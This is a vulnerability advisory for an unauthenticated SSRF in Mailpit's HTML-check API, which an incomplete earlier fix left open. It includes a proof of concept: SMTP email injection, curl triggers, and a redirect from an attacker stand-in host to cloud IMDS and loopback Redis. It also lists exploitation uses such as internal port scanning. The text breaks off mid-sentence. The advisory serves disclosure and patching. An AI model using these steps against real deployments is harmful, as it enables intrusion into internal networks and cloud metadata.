CVE-2026-45709

Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer

Summary

The fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, "Server-Side Request Forgery (SSRF) via HTML Check API"), shipped in mailpit v1.28.3, hardened internal/htmlcheck/css.go::downloadCSSToBytes with a 5MB size cap, a text/css content-type check, login-info stripping in isValidURL, and an opt-in --block-remote-css-and-fonts config flag — but did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints (the proxy handler and link-check). At HEAD 8bc966e61834a24c48b4465da418f75e73be0afd (2026-05-06), internal/htmlcheck/css.go::newSafeHTTPClient is mis-named — it builds an http.Client whose Transport.DialContext calls net.Dialer.DialContext directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial:

• loopback (127.0.0.0/8, ::1),
• private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7),
• link-local incl. cloud IMDS (169.254.0.0/16, especially 169.254.169.254),
• CGNAT (100.64.0.0/10),
• and any other reserved/multicast range,

— provided the target replies with HTTP/200 and a content-type beginning with text/css. With redirect-following (CheckRedirect allows redirects to any isValidURL URL with no IP filter), an attacker-controlled public site can redirect mailpit's request into the private network without ever appearing in the email's HTML.

In the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP GET to /api/v1/message/{id}/html-check.

Affected versions

• internal/htmlcheck/css.go at HEAD 8bc966e61834a24c48b4465da418f75e73be0afd (2026-05-06).
• All versions >= v1.28.3 (the version that shipped the GHSA-6jxm fix). Versions <= v1.28.2 are vulnerable to the original GHSA-6jxm; versions >= v1.28.3 carry the still-vulnerable variant described here.

The incomplete fix

The original GHSA-6jxm fix added size+content-type+login-info hardening to downloadCSSToBytes. But the dialer it uses still has no safeDialContext. The companion linkcheck and proxy handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, AND a safeDialContext that runs tools.IsInternalIP(ip.IP) per resolved address — same pattern the htmlcheck dialer should adopt.

Side-by-side at HEAD 8bc966e:

| File | Function | safeDialContext (IP filter)? | TOCTOU-safe (dial-by-IP)? | |---|---|---|---| | internal/linkcheck/status.go::safeDialContext line 140-163 | dial check | YES | YES (resolved IP joined with port) | | server/handlers/proxy.go::safeDialContext line 393-415 | dial check | YES | YES | | internal/htmlcheck/css.go::newSafeHTTPClient line 275-310 | dial check | NO | n/a |

The mis-named newSafeHTTPClient reads:

// internal/htmlcheck/css.go:275-310
func newSafeHTTPClient() *http.Client {
    dialer := &net.Dialer{
        Timeout:   5 * time.Second,
        KeepAlive: 30 * time.Second,
    }
    tr := &http.Transport{
        Proxy: nil,
        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
            return dialer.DialContext(ctx, network, address)   // no IP filter
        },
        ...
    }
    client := &http.Client{
        Transport: tr,
        Timeout:   15 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            if len(via) >= 3 { return errors.New("too many redirects") }
            if !isValidURL(req.URL.String()) { return errors.New("invalid redirect URL") }
            return nil
        },
    }
    return client
}

isValidURL only rejects non-http(s) and userinfo URLs — it does NOT reject internal IPs. Compare linkcheck/status.go::safeDialContext:

ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
...
if !config.AllowInternalHTTPRequests {
    for _, ip := range ips {
        if tools.IsInternalIP(ip.IP) {
            return nil, fmt.Errorf("blocked request to %s (%s): private/reserved address", host, ip)
        }
    }
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))

That's the protection htmlcheck is missing.

Reachability chain (default deploy)

Listen()                                 # config/config.go:36 SMTPListen = "[::]:1025"
   ↓
SMTP server                              # internal/smtpd/main.go:222-249  AuthRequired: false, AuthHandler: nil
   ↓ attacker injects HTML body with 
   ↓
storage.Store(...)
   ↓
Listen()                                 # server/server.go HTTPListen
   ↓ attacker sends GET /api/v1/message/{id}/html-check
apiv1.HTMLCheck                          # server/apiv1/other.go:18
   ↓ no UI auth in default deploy (auth.UICredentials == nil)
htmlcheck.RunTests(msg.HTML)             # internal/htmlcheck/main.go:17
   ↓
runCSSTests → inlineRemoteCSS            # internal/htmlcheck/css.go:25, 132
   ↓
downloadCSSToBytes(href)                 # internal/htmlcheck/css.go:192
   ↓
newSafeHTTPClient()                      # internal/htmlcheck/css.go:275
   ↓ no IP filter on Transport.DialContext or CheckRedirect
client.Do(req) → attacker-controlled origin → 302 redirect to internal IP → success

PoC

Default-deploy reproduction (no auth):

# 1) start mailpit with defaults (no --smtp-auth, no --ui-auth)
docker run -p 1025:1025 -p 8025:8025 axllent/mailpit:latest
2) attacker hosts a redirect to an internal target
   e.g., http://attacker.example.com/test.css → 302 → http://169.254.169.254/...
3) inject email via SMTP (no auth required)
python3 - <<'EOF'
import smtplib
from email.mime.text import MIMEText
html = '''<!DOCTYPE html>
  
x'''
m = MIMEText(html, 'html')
m['Subject'] = 'mailpit-001'
m['From'] = 'a@b'
m['To']   = 'c@d'
with smtplib.SMTP('localhost', 1025) as s:
    s.send_message(m)
EOF
4) get the message ID
ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')
5) trigger the SSRF with one anonymous GET
curl -i http://localhost:8025/api/v1/message/$ID/html-check

The HTTP server-side dial follows http://attacker.example.com/test.css → 302 redirect to http://127.0.0.1:6379/ → mailpit completes a TCP connect to the loopback Redis. No request body is reflected to the attacker (mailpit only inlines successful 200 + text/css responses), but:

• State-changing internal GETs. Any internal admin app served on 127.0.0.1 or RFC1918 with a "GET /admin/restart", "GET /vacuum", "GET /flush" pattern can be triggered through this primitive. Several common stacks (Spring Actuator, etcd debug, internal Prometheus admin, Redis HTTP front-ends, Jaeger UI) expose such operations on private ports.
• Cloud-IMDS reachability oracle. Because IMDS responses don't carry text/css, the body is not inlined — but the redirect chain DOES dial 169.254.169.254. A side-channel (response time, DNS log) can confirm IMDS reachability from a default-deploy mailpit on cloud.
• Internal port-scan via timing. The 5s+15s timeouts produce a clear timing differential between "RST refused" (~ms), "open and HTTP-noisy" (~10ms+), and "filtered" (multi-second).
• Authenticated Mailpit/ GET. Every internal target sees a known UA from a trusted internal subnet; combined with redirect-stripping, this can fool internal allowlists keyed on UA.

Threat model alignment

The maintainer's prior position on the SSRF class is captured by GHSA-6jxm-fv7w-rw5j (HTML Check, Medium), GHSA-mpf7-p9x7-96r3 (Link Check, Medium), and GHSA-8v65-47jx-7mfr (